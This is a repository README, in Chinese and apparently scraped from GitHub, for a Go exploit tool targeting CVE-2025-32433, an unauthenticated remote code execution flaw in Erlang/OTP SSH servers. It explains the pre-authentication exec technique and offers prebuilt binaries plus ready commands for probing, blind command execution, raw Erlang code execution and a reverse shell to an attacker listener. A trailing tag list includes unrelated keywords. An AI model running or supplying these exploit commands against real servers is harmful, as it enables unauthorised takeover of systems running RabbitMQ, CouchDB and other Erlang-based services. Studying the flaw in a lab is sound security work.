joshuavanderpoll/cve-2025-32433

GitHub: joshuavanderpoll/cve-2025-32433

针对 Erlang/OTP SSH 服务器未认证远程代码执行漏洞(CVE-2025-32433)的 Go 语言 PoC,支持漏洞检测、命令执行和反向 shell。

Stars: 1 | Forks: 0

Erlang/OTP SSH 未认证盲注 RCE (CVE-2025-32433) PoC

Go

## 📜 描述 CVE-2025-32433 是 Erlang/OTP SSH 服务器中一个严重的未认证远程代码执行漏洞。在修补版本之前,SSH 守护程序在认证完成之前错误地处理通道消息,允许攻击者在无需提供凭证的情况下打开通道并发送 `exec` 请求。任何嵌入了 Erlang/OTP SSH 服务器的应用程序(包括 Elixir、RabbitMQ、CouchDB 等),只要其 SSH 端口被暴露,都会受到影响。 此 Go PoC 连接到目标 SSH 端口,在认证前发送一个构造好的 `SSH_MSG_CHANNEL_OPEN`,随后发送 `SSH_MSG_CHANNEL_REQUEST` exec 负载 —— 导致远程 Erlang 节点执行任意 OS 命令。执行是**盲注**的:命令输出不会返回给攻击者。 **受影响版本:** Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20 ## ✨ 特性 - **漏洞检测** —— 在利用之前探测目标以确认其是否易受攻击 - **命令执行** —— 通过 `bash -c` 运行 OS 命令,自动包装在 Erlang 的 `os:cmd` 中 - **原生 Erlang 执行** —— 直接发送任意 Erlang 表达式,无需 shell 包装器 - **反向 Shell** —— 部署原生 `gen_tcp` 反向 shell,不依赖 bash 或 `/dev/tcp` - **IPv6 支持** —— 同时支持 IPv4 和 IPv6 目标 - **无依赖** —— 单一二进制文件,仅使用 Go 标准库 ## 🛠️ 安装 **macOS、Linux 和 Windows** 的预编译二进制文件可在 [Releases 页面](https://github.com/joshuavanderpoll/CVE-2025-32433/releases)获取。下载适用于您平台的二进制文件并直接运行 —— 无需安装 Go。 或者从源代码构建: ### OSX/Linux ``` git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git cd CVE-2025-32433 go build -o cve-2025-32433 cve-2025-32433.go ``` ### Windows ``` git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git cd CVE-2025-32433 go build -o cve-2025-32433.exe cve-2025-32433.go ``` ### 直接使用 Go 安装 ``` go install github.com/joshuavanderpoll/cve-2025-32433@latest ``` ### 不安装直接运行 ``` go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22 ``` ## ⚙️ 使用方法 ``` Usage of ./cve-2025-32433: -host string Target IP or hostname -port int SSH port (default: 22) (default 22) -timeout int Connection timeout in seconds (default: 5) (default 5) -command string Shell command to run on the target (wrapped in os:cmd) -code string Raw Erlang expression to execute on the target -shell Send an Erlang-native gen_tcp reverse shell -lhost string Listener IP for reverse shell (required with -shell) -lport int Listener port for reverse shell (default: 4444) ``` ### 检查目标是否存在漏洞 ``` ./cve-2025-32433 -host 127.0.0.1 -port 2222 ``` ![命令执行示例](/assets/vulnerability-check.jpg) ### 命令执行 ``` ./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt' ``` ![命令执行示例](/assets/command-execution.jpg) ### 反向 Shell `-shell` 标志发送原生 Erlang `gen_tcp` 反向 shell 负载 —— 不需要 bash 或 `/dev/tcp`。首先启动监听器,然后发送 exploit。 ``` ./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444 ``` ![代码执行示例](/assets/reverse-shell.jpg) ### 代码执行 `-code` 标志直接发送原生 Erlang 表达式 —— 无需 `bash -c` 包装器。适用于纯 Erlang 操作或目标上没有 bash 的情况。由于执行是盲注的,请将输出写入文件并单独检索。 ``` ./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).' ``` ![代码执行示例](/assets/command-execution.jpg) ## 🐋 Docker PoC 更多详情请参阅 [docker/DOCKER.md](/docker/DOCKER.md) ``` cd docker/ docker compose down docker compose up -d # 你可以在 -host 127.0.0.1 -port 2222 进行测试 ``` ## 🕵🏼 参考资料 - [Erlang/OTP 安全公告](https://www.erlang.org/news/175) - [NVD — CVE-2025-32433](https://nvd.nist.gov/vuln/detail/CVE-2025-32433) - [HackIndex](https://hackindex.io/vulnerabilities/CVE-2025-32433) ## 📢 免责声明 本工具仅供教育和研究目的提供。创建者对因使用本工具而造成的任何滥用或损害不承担任何责任。
标签:Blind RCE, CISA项目, CouchDB, CVE-2025-32433, Elixir, Erlang/OTP, EVTX分析, Go, Golang, IPv6, Maven, PoC, PowerShell, RabbitMQ, RCE, Ruby工具, SSH, 反向Shell, 安全漏洞, 安全编程, 日志审计, 暴力破解, 未授权访问, 漏洞验证, 编程工具, 网络安全, 远程代码执行, 隐私保护, 预认证漏洞